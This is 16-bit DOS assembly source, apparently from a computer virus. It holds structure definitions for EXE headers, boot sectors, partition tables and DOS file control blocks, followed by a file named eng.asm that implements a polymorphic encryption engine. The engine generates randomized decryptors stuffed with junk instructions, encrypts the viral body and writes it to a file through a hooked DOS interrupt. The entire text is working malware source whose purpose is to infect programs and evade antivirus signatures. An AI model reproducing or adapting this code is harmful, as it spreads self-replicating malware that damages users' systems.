int_21_ss dw ? int_21_sp dw ? dw 256 / 2 dup(?) temp_stack: jump_code_13 db 5 dup(?) jump_code_21 db 5 dup(?) int_1 dd ? int_24 dd ? int_13 dd ? dos_13 dd ? int_15 dd ? int_40 dd ? int_21 dd ? new_24: db 3 dup(?) push_pop_ret dw ? pointer dw ? disp dw ? encode_ptr dw ? encode_enc_ptr dw ? key_reg db ? count_reg db ? ptr_reg db ? ptr_reg1 db ? modify_op db ? origin db ? inst_count db ? disk_buff db 512 dup(?) v_end: ;=====( Very useful structures )=============================================; ;=====( Memory Control Block structure )=====================================; mcb struc mcb_sig db ? ; 'Z' or 'M' mcb_owner dw ? ; attribute of owner mcb_size dw ? ; size of mcb block mcb_name db 8 dup(?) ; file name of owner mcb ends ;=====( For functions 11h and 12h )==========================================; Directory STRUC DS_Drive db ? DS_Name db 8 dup(0) DS_Ext db 3 dup(0) DS_Attr db ? DS_Reserved db 10 dup(0) DS_Time dw ? DS_Date dw ? DS_Start_Clust dw ? DS_Size dd ? Directory ENDS ;=====( for functions 4eh and 4fh )==========================================; DTA STRUC DTA_Reserved db 21 dup(0) DTA_Attr db ? DTA_Time dw ? DTA_Date dw ? DTA_Size dd ? DTA_Name db 13 dup(0) DTA ENDS Exe_Header STRUC EH_Signature dw ? ; Set to 'MZ' or 'ZM' for .exe files EH_Modulo dw ? ; remainder of file size/512 EH_Size dw ? ; file size/512 EH_Reloc dw ? ; Number of relocation items EH_Size_Header dw ? ; Size of header in paragraphs EH_Min_Mem dw ? ; Minimum paragraphs needed by file EH_Max_Mem dw ? ; Maximum paragraphs needed by file EH_SS dw ? ; Stack segment displacement EH_SP dw ? ; Stack Pointer EH_Checksum dw ? ; Checksum, not used EH_IP dw ? ; Instruction Pointer of Exe file EH_CS dw ? ; Code segment displacement of .exe eh_1st_reloc dw ? ; first relocation item eh_ovl dw ? ; overlay number Exe_Header ENDS Boot_Sector STRUC bs_Jump db 3 dup(?) bs_Oem_Name db 8 dup(?) bs_Bytes_Per_Sector dw ? bs_Sectors_Per_Cluster db ? bs_Reserved_Sectors dw ? bs_FATs db ? ; Number of FATs bs_Root_Dir_Entries dw ? ; Max number of root dir entries bs_Sectors dw ? ; number of sectors; small bs_Media db ? ; Media descriptor byte bs_Sectors_Per_FAT dw ? bs_Sectors_Per_Track dw ? bs_Heads dw ? ; number of heads bs_Hidden_Sectors dd ? bs_Huge_Sectors dd ? ; number of sectors; large bs_Drive_Number db ? bs_Reserved db ? bs_Boot_Signature db ? bs_Volume_ID dd ? bs_Volume_Label db 11 dup(?) bs_File_System_Type db 8 dup(?) Boot_Sector ENDS Partition_Table STRUC pt_Code db 1beh dup(?) ; partition table code pt_Status db ? ; 0=non-bootable 80h=bootable pt_Start_Head db ? pt_Start_Sector_Track dw ? pt_Type db ? ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT pt_End_Head db ? pt_End_Sector_Track dw ? pt_Starting_Abs_Sector dd ? pt_Number_Sectors dd ? Partition_Table ENDS int_1_stack STRUC st_ip dw ? ; offset of next instruction after ; interrupt st_cs dw ? ; segment of next instruction st_flags dw ? ; flags when interrupt was called int_1_stack ENDS ;----------------------------------------------------------------------------; ; Dcb description for DOS 3+ ; ; ; ; Offset Size Description ; ; 00h WORD number of file handles referring to this file ; ; 02h WORD file open mode (see AH=3Dh) ; ; bit 15 set if this file opened via FCB ; ; 04h BYTE file attribute ; ; 05h WORD device info word (see AX=4400h) ; ; 07h DWORD pointer to device driver header if character device ; ; else pointer to DOS Drive Parameter Block (see AH=32h) ; ; 0Bh WORD starting cluster of file ; ; 0Dh WORD file time in packed format (see AX=5700h) ; ; 0Fh WORD file date in packed format (see AX=5700h) ; ; 11h DWORD file size ; ; 15h DWORD current offset in file ; ; 19h WORD relative cluster within file of last cluster accessed ; ; 1Bh WORD absolute cluster number of last cluster accessed ; ; 0000h if file never read or written??? ; ; 1Dh WORD number of sector containing directory entry ; ; 1Fh BYTE number of dir entry within sector (byte offset/32) ; ; 20h 11 BYTEs filename in FCB format (no path/period, blank-padded) ; ; 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file ; ; 2Fh WORD (SHARE.EXE) network machine number which opened file ; ; 31h WORD PSP segment of file's owner (see AH=26h) ; ; 33h WORD offset within SHARE.EXE code segment of ; ; sharing record (see below) 0000h = none ; ;----------------------------------------------------------------------------; dcb struc dcb_users dw ? dcb_mode dw ? dcb_attr db ? dcb_dev_attr dw ? dcb_drv_addr dd ? dcb_1st_clst dw ? dcb_time dw ? dcb_date dw ? dcb_size dd ? dcb_pos dd ? dcb_last_clst dw ? dcb_current_clst dw ? dcb_dir_sec dw ? dcb_dir_entry db ? dcb_name db 8 dup(?) dcb_ext db 3 dup(?) dcb_useless1 dw ? dcb_useless2 dw ? dcb_useless3 dw ? dcb_psp_seg dw ? dcb_useless4 dw ? dcb ends bpb STRUC bpb_Bytes_Per_Sec dw ? bpb_Sec_Per_Clust db ? bpb_Reserved_Sectors dw ? bpb_FATs db ? ; Number of FATs bpb_Root_Dir_Entries dw ? ; Max number of root dir entries bpb_Sectors dw ? ; number of sectors; small bpb_Media db ? ; Media descriptor byte bpb_Sectors_Per_FAT dw ? bpb_Sectors_Per_Track dw ? bpb_Heads dw ? ; number of heads bpb_Hidden_Sectors dd ? bpb_Huge_Sectors dd ? ; number of sectors; large bpb_Drive_Number db ? bpb_Reserved db ? bpb_Boot_Signature db ? bpb_Volume_ID dd ? bpb_Volume_Label db 11 dup(?) bpb_File_System_Type db 8 dup(?) bpb ENDS register struc reg_es dw ? reg_ds dw ? reg_di dw ? reg_si dw ? reg_bp dw ? reg_dx dw ? reg_cx dw ? reg_bx dw ? reg_ax dw ? reg_f dw ? register ends sys_file struc sys_next dd ? sys_strat dw ? sys_int dw ? sys_file ends end -----------------------------<<eng.asm>>--------------------------------------- _ax equ 0 _cx equ 1 _dx equ 2 _bx equ 3 _sp equ 4 _bp equ 5 _si equ 6 _di equ 7 engine: mov ds:pointer,ax ; save IP mov di,offset decrypt mov bx,offset make_count mov cx,offset make_key mov dx,offset make_ptr mov si,offset order_ret or bp,11101111b ; SP is used call order ; randomize and call registers push di ; save start of loop push di mov si,offset encode mov di,offset write_buff mov cx,encode_end-encode rep movsb ; copy write code mov ds:encode_ptr,offset (encode_break-encode)+write_buff pop di mov bx,offset make_enc mov cx,offset make_keychange mov dx,offset make_deccount mov si,offset make_incptr call order ; call routines ;=====( Preform loop )=======================================================; mov ax,2 push ax call random ; test BP for 4000? pop ax jz loop_no_test test bp,4000h ; possible to just "Jcc"? jnz loop_make_jcc loop_no_test: call random jz loop_no_test1 test bp,2000h ; use loop? jnz loop_make_jcc loop_no_test1: or bp,800h ; do not change flags mov ax,2 cwd call random ; try OR/AND/TEST reg,reg ; or XOR/ADD/OR/SUB reg,0? mov al,ds:count_reg ; get counter jnz loop_orandtest call boolean ; do XOR/OR/ADD or ADD/SUB? jnz loop_modify call add_reg ; ADD/SUB reg,0 jmp loop_make_jcc loop_modify: call modify_reg ; XOR/OR/ADD reg,0 jmp loop_make_jcc loop_orandtest: mov cl,3 mov ch,al shl ch,cl or al,ch ; set reg1 as reg2 also mov bx,2 ; OR/AND/TEST call random_bx jnz loop_and or ax,9c0h ; OR reg1, reg2 loop_reverse: call boolean ; use 9 or 11? jnz loop_orandteststo or ah,2h ; reg2, reg1 jmp loop_orandteststo loop_and: dec bx jnz loop_test or ax,21c0h ; AND reg1, reg2 jmp loop_reverse loop_test: or ax,85c0h ; TEST reg1, reg2 loop_orandteststo: xchg al,ah stosw ; store TEST/OR/AND or bp,1800h ; do not change flags/ ; test stored call garble loop_make_jcc: and bp,not 800h test bp,2000h ; code loop? jz loop_make_jump mov al,0e2h ; LOOP test bp,1000h ; possible to use LOOPNZ/Z? jz loop_code_disp call boolean jnz loop_code_disp dec ax ; LOOPZ call boolean jnz loop_iscx dec ax ; LOOPNZ jmp loop_code_disp ;=====( Now make conditional jump )==========================================; jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE loop_make_jump: mov bx,offset jcc_tbl mov ax,3 call random xlat ; get Conditional jump mov bx,2 call random_bx ; use JE/JS/LE/L then JMP? jnz loop_code_disp cmp ds:count_reg,_cx ; CX is counter? jnz loop_notcx mov bl,4 call random_bx jnz loop_notcx mov al,0e3h + 1 ; JCXZ + 1 loop_notcx: dec ax loop_iscx: stosw cmp al,07fh ; Jcxz/loopz? ja loop_code_short call boolean ; Use opposite or EB? jnz loop_code_short or bp,800h ; dont change flags loop_code_short:mov si,di ; save offset of displacement call garble lea ax,ds:[si-2] sub ax,di neg al ; get jump displacement mov ds:[si-1],al ; save it test bp,800h ; Dont change flags -> "Jcc" mov al,0ebh ; Jmp short je loop_code_disp mov ax,3 call random mov bx,offset jcc_tbl xlat ; Get JNE/JNS/JG/JGE loop_code_disp: stosb ; store jump pop ax ; start of loop dec ax sub ax,di ; get loop displacement stosb or bp,11101111b ; free all registers and bp,not 800h ; allow flags to change call garble mov ax,19 call random ; 1 in 20 chance of non-jmp jnz loop_code_jmp mov ax,ds:pointer add ax,offset file_start ; where to jump xchg dx,ax call get_reg ; get a register call mov_reg ; Mov value into register or ax,0ffc0h + (4 shl 3) ; JMP reg16 call boolean ; PUSH/RET or JMP reg16? jnz loop_code_push xchg al,ah jmp loop_code_stosw loop_code_push: mov bx,2 call random_bx ; 1 in 3 chance of FF /6 PUSH jnz loop_code_push1 xor al,(6 shl 3) xor (4 shl 3) ; PUSH reg xchg al,ah stosw jmp loop_code_ret loop_code_push1:xor al,50h xor (0c0h or (4 shl 3)) ; PUSH reg stosb loop_code_ret: call garble mov al,0c3h ; RETN stosb jmp loop_code_end loop_code_jmp: mov al,0e9h stosb ; Store Jump lea ax,ds:[di-((file_start-2)-v_start)] neg ax ; Jmp file_start loop_code_stosw:stosw loop_code_end: mov si,ds:encode_enc_ptr ; get encrypt instruction ptr cmp di,offset header ; Decryptor is too large? jb go_write_buff stc ; return error pushf pop bp retn go_write_buff: jmp write_buff ; encrypt/write/decrypt ;=====( Inc pointer )========================================================; make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers mov dx,2 ; ADD ptr,2 cmp ah,-1 ; two registers used? jz make_incptr_1 call boolean ; do one or both? jnz make_incptr_do1 dec dx ; ADD ptr,1 call make_incptr_do1 jmp make_incptr_2 make_incptr_do1:call boolean jnz make_incptr_1 make_incptr_2: xchg al,ah make_incptr_1: call add_reg sub ds:disp,dx ; add to displacement retn ;=====( Dec counter )========================================================; make_deccount: cmp si,offset make_deccount ; last operation? jnz make_deccount_notlast call boolean ; do it? jnz make_deccount_notlast or bp,4800h ; remember we're last make_deccount_notlast: mov al,ds:count_reg cmp al,_cx ; possible to use LOOP/LOOPNZ? jnz make_deccount_notcx call boolean jnz make_deccount_notcx or bp,2000h ; do LOOP jmp make_deccount_exit make_deccount_notcx: mov dx,-1 ; ADD counter,-1 call add_reg make_deccount_exit: or bp,400h ; deccount executed retn ;=====( Make encryption instruction )========================================; make_enc: push bp and bp,not 400h mov al,ds:key_reg push ax ; save key register make_enc_which: mov ax,4 ; ADD/SUB/XOR/ROR/ROL call random mov bx,0105h ; ADD [DI],AX mov cx,1119h ; ADC/SBB mov dx,2905h ; SUB [DI],AX jz make_enc_add dec ax jz make_enc_sub dec ax jnz make_enc_ror mov bh,31h ; XOR mov dx,3105h ; XOR [DI],AX jmp make_enc_sto make_enc_ror: cmp ds:key_reg,_cx ; CX is key? jne make_enc_which or bp,400h ; Put XCHG CX,AX mov bh,0d3h mov dx,0d30dh ; ROL dec ax jz r_make_enc_sto xchg bx,dx ; ROR r_make_enc_sto: mov ds:key_reg,al ; 1 SHL 3 = 08 / D3 08 ; D3 00 = ROL [],CL jmp make_enc_sto make_enc_sub: xchg dh,bh ; SUB - ADD [DI],AX xchg cl,ch ; SBB/ADC make_enc_add: call boolean ; do Carry? jnz make_enc_sto push bx mov bh,ch ; Make it ADC/SBB call clear_carry cmp al,0 org $ - 1 make_enc_sto: push bx test bp,8000h ; EXE file? jz make_enc_com call is_bp_ptr ; is BP a pointer? je make_enc_com mov al,2eh ; CS: call boolean jnz make_enc_cs mov al,36h ; SS: make_enc_cs: stosb ; store segment override make_enc_com: mov al,bh stosb ; store instruction mov ax,word ptr ds:ptr_reg ; get pointer registers cmp ah,-1 ; second reg? je make_enc_xlat add al,ah make_enc_xlat: mov bx,offset rm_tbl xlat ; get r/m call is_bp_ptr ; is BP a pointer? jnz make_enc_nobp inc ah ; is there a second reg? jne make_enc_nobp or al,01000000b ; [BP+xx] make_enc_nobp: mov cx,ds:disp ; get displacement mov bx,6 call random_bx ; allow no displacement? jz make_enc_get_disp jcxz make_enc_sto_rm make_enc_get_disp: or al,01000000b ; 8bit displacement call boolean ; allow 8bit displacement? jnz make_enc_16bit cmp cx,7fh ; 8bit displacement? jbe make_enc_sto_rm cmp cx,-80h jb make_enc_16bit xor ch,ch cmp ax,0 org $ - 2 make_enc_16bit: xor al,11000000b ; 8bit off, 16bit on make_enc_sto_rm:mov ah,ds:key_reg shl ah,1 shl ah,1 shl ah,1 ; from bits 0-2 of AH or al,ah ; to bits 3-5 of AL stosb ; store r/m byte test al,11000000b ; any displacement? jz make_enc_disp test al,10000000b ; 16bit displacement? xchg cx,ax stosw ; store displacement jnz make_enc_disp dec di ; 8bit only make_enc_disp: xchg di,ds:encode_ptr ; get encode ptr test bp,400h ; store XCHG CX,AX? je make_enc_nor mov al,91h ; XCHG CX,AX stosb make_enc_nor: xchg dx,ax xchg al,ah mov ds:encode_enc_ptr,di ; save instruction pointer stosw ; set encryption instruction je make_enc_nor1 mov al,91h ; XCHG CX,AX stosb make_enc_nor1: xchg di,ds:encode_ptr ; restore decrypt ptr pop ax xchg al,ah mov word ptr ds:write_buff[encode_flip-encode],ax ; save opposite operation pop ax mov ds:key_reg,al ; restore key register pop bp retn rm_tbl: db -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3 ; -1's not used ;=====( Change key )=========================================================; make_keychange: call boolean ; change key? jnz make_keychange_yes retn make_keychange_yes: push bp or bp,200h ; let know that keychange mov ax,3 call random ; 1 in 4 chance of modify_reg jnz keychange_other call random_1 xchg dx,ax ; Random value to modify key ; reg by mov al,ds:key_reg call modify_reg ; XOR/ADD/OR keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode inc di ; CLC mov al,ds:modify_op ; get operation stosb keychange_stodx:xchg dx,ax ; store value/operation keychange_sto: stosw xchg di,ds:encode_ptr ; get decrypt pointer pop bp retn keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD call random jnz keychange_rol mov ax,0d1c0h ; ROR AX,1 keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL call random_bx jnz keychange_nocl cmp ds:count_reg,_cx ; Count is CX? jne keychange_nocl test bp,400h ; Count already decremented? jnz keychange_nocl or ah,2 ; By CL keychange_nocl: xchg al,ah push ax or ah,ds:key_reg ; set key register stosw ; store instruction pop ax xchg di,ds:encode_ptr ; get encode ptr jmp keychange_sto keychange_rol: dec ax jnz keychange_not mov ax,0d1c0h or (1 shl 3) ; ROL AX,1 jmp keychange_cl keychange_not: dec ax jnz keychange_neg mov ax,0f7c0h + (2 shl 3) ; NOT AX jmp keychange_nocl keychange_neg: dec ax jnz keychange_add mov ax,0f7c0h + (3 shl 3) ; NEG AX jmp keychange_nocl keychange_add: call random_1 xchg dx,ax mov al,ds:key_reg ; get key register call add_reg ; ADD reg(ax), value(dx) jmp keychange_stoop ;=====( Build key )==========================================================; make_key: call get_reg ; get register xchg dx,ax call random_1 ; get key mov ds:key,ax ; save key xchg dx,ax mov ds:key_reg,al ; save register call mov_reg ; MOV reg(ax),value(dx) retn ;=====( Build counter )======================================================; make_count: call get_reg ; get register mov ds:count_reg,al ; save register mov dx,(decrypt-v_start)/2 ; # of words to crypt call mov_reg ; mov reg(ax),value(dx) retn ;=====( Build Pointer )======================================================; make_ptr: mov dx,ds:pointer call get_ptr_reg ; get DI/SI/BP/BX mov ds:ptr_reg,al mov ds:ptr_reg1,-1 mov bx,3 call random_bx ; 1 in 4 chance of 2 regs jnz make_ptr_2 cmp al,_si mov bx,11000000b ; DI/SI jb make_ptr_test mov bl,00101000b ; BP/BX make_ptr_test: test bp,bx ; 'other' availible? jz make_ptr_2 make_ptr_again: call get_ptr_reg ; get DI/SI/BP/BX push ax call conv_num ; convert to bit-map number test al,bl ; is it other type? pop ax jnz make_ptr_ok call del_reg ; delete register jmp make_ptr_again make_ptr_ok: mov ds:ptr_reg1,al ; save second register mov bx,-1 call random_bx sub dx,bx ; randomize values xchg bx,dx call mov_reg ; mov reg(ax), value(dx) xchg bx,dx mov al,ds:ptr_reg ; get first reg make_ptr_2: xor bx,bx ; zero displacement call boolean ; use one? jnz make_ptr_nodisp mov bx,-1 call random_bx sub dx,bx ; subtract displacement make_ptr_nodisp:mov ds:disp,bx ; save displacement call mov_reg ; mov reg(ax), value(dx) retn ;=====( Shell for mov_reg1 )=================================================; mov_reg: push bx dx mov bx,4 call random_bx ; 1 in 5 chance of MOV/ADD/SUB jnz mov_reg_call mov bx,-1 call random_bx ; get random # sub dx,bx ; MOV reg, value-random # call mov_reg1 ; do MOV reg, mov dx,bx call add_reg ; Now add difference pop dx bx retn mov_reg_call: pop dx bx ;=====( Mov reg(ax), value(dx) )=============================================; mov_reg1: push ax bx cx dx cbw mov bx,2 call random_bx ; MOV or SUB/XOR ADD/OR/XOR jz mov_reg_other mov bl,2 call random_bx ; 1 in 3 chance of c6/c7 MOV jnz mov_reg_b0 or ax,0c7c0h ; MOV reg,imm call boolean ; Do long MOV or LEA? jnz mov_reg_c7 mov cl,3 shl al,cl ; Reg -> bits 3,4,5 xor ax,(8d00h or 110b) xor 0c700h ; LEA reg,[imm] mov_reg_c7: xchg al,ah stosw ; store it mov_reg_sto: xchg dx,ax stosw ; store value call garble mov_reg_exit: jmp modify_pop mov_reg_b0: or al,0b8h ; MOV reg,imm stosb jmp mov_reg_sto mov_reg_other: push ax mov cl,3 mov ch,al shl ch,cl ; copy reg1 to reg2 or al,ch ; set it call boolean jnz mov_reg_other1 or ah,2 ; reg1, reg2 -> reg2, reg1 mov_reg_other1: call boolean jnz mov_reg_xor or ax,29c0h ; SUB reg, reg call boolean jnz mov_reg_other_sto xor ah,19h xor 29h ; SBB reg, reg call clear_carry ; clear carry flag mov_reg_other_sto: xchg al,ah stosw call garble pop ax call modify_reg ; ADD/OR/XOR reg(ax),value(dx) jmp mov_reg_exit mov_reg_xor: or ax,31c0h ; XOR AX,AX jmp mov_reg_other_sto ;=====( ADD/OR/XOR reg(ax), value(dx) )======================================; modify_reg: push ax bx cx dx cbw mov bx,2 call random_bx mov cx,3500h + (6 shl 3) ; XOR jz modify_reg_cont mov cx,0d00h + (1 shl 3) ; OR dec bx jz modify_reg_cont modify_reg_add: mov cx,0500h ; ADD call boolean ; ADC or ADD? jnz modify_reg_cont mov cx,1500h + (2 shl 3) ; ADC modify_reg_clc: call clear_carry ; Clear carry flag modify_reg_cont:test bp,200h ; keychange executing? jz modify_reg_nosave mov ds:modify_op,ch ; save AX operation modify_reg_nosave: call boolean ; check if AX? jnz modify_reg_noax or al,al ; AX? jnz modify_reg_noax mov al,ch stosb ; store instruction xchg dx,ax modify_sto: stosw ; store value modify_exit: call garble modify_pop: pop dx cx bx ax retn modify_reg_noax:or ax,81c0h or al,cl ; XOR/OR/ADD call boolean ; sign extend? jnz modify_reg_nosign cmp dx,7fh ; possible to sign extend? jbe modify_sign cmp dx,-80h jb modify_reg_nosign modify_sign: or ah,2 ; sign extend modify_reg_nosign: xchg al,ah stosw test al,2 ; sign extended? xchg dx,ax je modify_sto stosb jmp modify_exit ;=====( ADD reg(ax), value(dx) )=============================================; add_reg: push ax bx cx dx cbw mov cx,dx add_loop: mov bx,3 call random_bx ; 1 in 4 chance of ADD/SUB jz add_noinc mov bx,40c0h ; INC reg test bp,200h ; keychange running? jz add_nosave mov ds:modify_op,05h ; ADD AX, add_nosave: cmp cx,3h ; too high to INC? jb add_inc neg cx cmp cx,3h ; too low to DEC? ja add_noinc mov bx,48c0h + (1 shl 3) ; DEC reg test bp,200h jz sub_nosave mov ds:modify_op,2dh ; SUB AX, sub_nosave: inc dx inc cx cmp ax,0 org $ - 2 add_inc: dec dx dec cx push ax mov ax,5 call random ; 1 in 6 chance of FF pop ax push ax jnz add_inc_40 mov ah,0ffh xchg bl,bh xchg al,ah ; AL=ff AH=Reg stosb xchg al,ah add_inc_40: or al,bh ; set DEC/INC stosb pop ax call garble or dx,dx ; all done? jnz add_loop add_reg_exit: jmp modify_pop add_noinc: call boolean ; ADD or SUB? jz sub_reg jmp modify_reg_add sub_reg: test bp,200h ; keychange? jnz sub_reg_key neg dx sub_reg_key: mov cx,2d00h + (5 shl 3) ; SUB call boolean ; use SBB? jz sbb_reg jmp modify_reg_cont sbb_reg: mov cx,1d00h + (3 shl 3) ; SBB jmp modify_reg_clc ;=====( clear carry flag )===================================================; clear_carry: push ax bp or bp,800h ; don't change flags mov al,0f8h ; CLC call boolean jnz clear_carry_clc mov ax,0f5f9h ; STC/CMC stosb call garble xchg al,ah clear_carry_clc:stosb call garble pop bp ax retn garble: push ax mov ax,2 call random ; how many times to call? xchg cx,ax jcxz garble_exit garble_loop: call garble1 loop garble_loop garble_exit: xchg cx,ax pop ax retn ;=====( add garbage code )===================================================; garble1: push ax bx cx dx bp test bp,100h ; Garble already executing? jnz garble_ret and bp,not 200h ; keychange not executing or bp,100h ; Garble executing call boolean jnz garble_ret mov cl,3 call random_1 xchg dx,ax ; DX=random number call get_reg ; get register jc garble_ret mov bx,6 test bp,800h ; flag change allowed? jz garble_f mov bl,2 garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV? jnz garble_xchg or ah,89h garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1? jz garble_reg_reg or ah,2 ; 8b xchg al,dl garble_reg_reg: and dl,7 ; Get register values only and al,7 shl dl,cl or al,0c0h ; MOV reg1, random reg or al,dl xchg al,ah stosw garble_ret: pop bp jmp modify_pop garble_xchg: dec bx jnz garble_1byte xchg dx,ax call get_reg ; get another reg jc garble_ret xchg dx,ax ; AL=reg1 DL=reg2 call boolean jnz garble_xchgnoax or dl,dl ; AX? jz garble_xchgax or al,al jz garble_xchgax garble_xchgnoax:or ah,87h ; XCHG reg1, jmp garble_reg_reg garble_xchgax: or al,90h or al,dl ; XCHG AX, reg garble_stosb: stosb jmp garble_ret garble_1byte: dec bx jnz garble_modify mov al,4 call random mov bx,offset garble_1byte_tbl xlat ; get 1 byte instruction jmp garble_stosb garble_modify: dec bx jnz garble_add call modify_reg ; ADD/XOR/OR reg1, random # jmp garble_ret garble_add: dec bx jnz garble_mov call add_reg ; ADD/SUB reg1, random # jmp garble_ret garble_mov: dec bx jnz garble_op call mov_reg ; MOV reg1, random # jmp garble_ret garble_op: and dh,00111000b ; get rnd op mov ah,1 or ah,dh jmp garble_reg_set garble_1byte_tbl: db 2eh db 36h cld std sti ;=====( Is BP a Pointer? )===================================================; is_bp_ptr: cmp ds:ptr_reg,_bp je bp_is_ptr cmp ds:ptr_reg1,_bp bp_is_ptr: retn ;=====( Get pointer register (DI/SI/BP/BX) )=================================; get_ptr_regnext:call del_reg ; restore register to pool get_ptr_reg: call get_reg ; get register cmp al,_bx je got_ptr_reg cmp al,_bp jb get_ptr_regnext got_ptr_reg: retn ;=====( return random register in AL )=======================================; get_reg: test bp,11101111b ; any registers free? stc jz get_reg_exit get_reg_loop: mov ax,7 call random push ax cbw call conv_num ; convert to bit map test bp,ax ; is register free? pushf not ax and bp,ax ; mark register popf pop ax jz get_reg_loop get_reg_exit: retn ;=====( Restore register to pool )===========================================; del_reg: push ax cbw call conv_num ; convert to bit number or bp,ax ; restore register pop ax retn ;=====( convert number to bit map )==========================================; conv_num: push cx mov cl,al mov al,1 shl al,cl pop cx retn ;=====( randomize order of BX/CX/DX/SI, then call )==========================; order: call garble mov ax,2 call random xchg cx,ax inc cx order_loop: call boolean jnz order1 xchg bx,ax order1: call boolean jnz order2 xchg dx,ax order2: call boolean jnz order3 xchg si,ax order3: loop order_loop push si dx bx ax order_ret: retn ;=====( return random number between 0 and ffff in bx )======================; random_bx: xchg bx,ax call random xchg bx,ax retn ;=====( flip Sign bit )======================================================; boolean: push ax mov ax,1 call random pop ax retn ;=====( return random number between 0 and ffff )============================; random_1: mov ax,-1 ;=====( Generate random number between 0 and AX )============================; random: push ds bx cx dx ax xor ax,ax int 1ah push cs pop ds in al,40h xchg cx,ax xchg dx,ax mov bx,offset ran_num xor ds:[bx],ax rol word ptr ds:[bx],cl xor cx,ds:[bx] rol ax,cl xor dx,ds:[bx] ror dx,cl xor ax,dx imul dx xor ax,dx xor ds:[bx],ax pop cx xor dx,dx inc cx je random_ret div cx xchg ax,dx random_ret: pop dx cx bx ds or ax,ax retn ran_num dw ? ;=====( Encrypts the code/writes it/decrypts code )==========================; encode: mov bx,ds:handle mov ax,0 key = word ptr $ - 2 mov cx,(decrypt-v_start)/2 xor di,di encode_break: clc clc clc clc ; XCHG CX,AX XCHG CX,AX clc clc ; CLC ADD AX,xxxx / XOR [DI],AX clc clc ; XOR [DI],AX / CLC ADD AX,xxxx inc di inc di loop encode_break encode_ret = byte ptr $ mov ah,40h mov cx,file_size cwd pushf call cs:int_21 jc encode_flag sub ax,cx encode_flag: pushf pop bp mov word ptr ds:[si],0 encode_flip = word ptr $ - 2 mov byte ptr ds:write_buff[encode_ret-encode],0c3h jmp encode encode_end: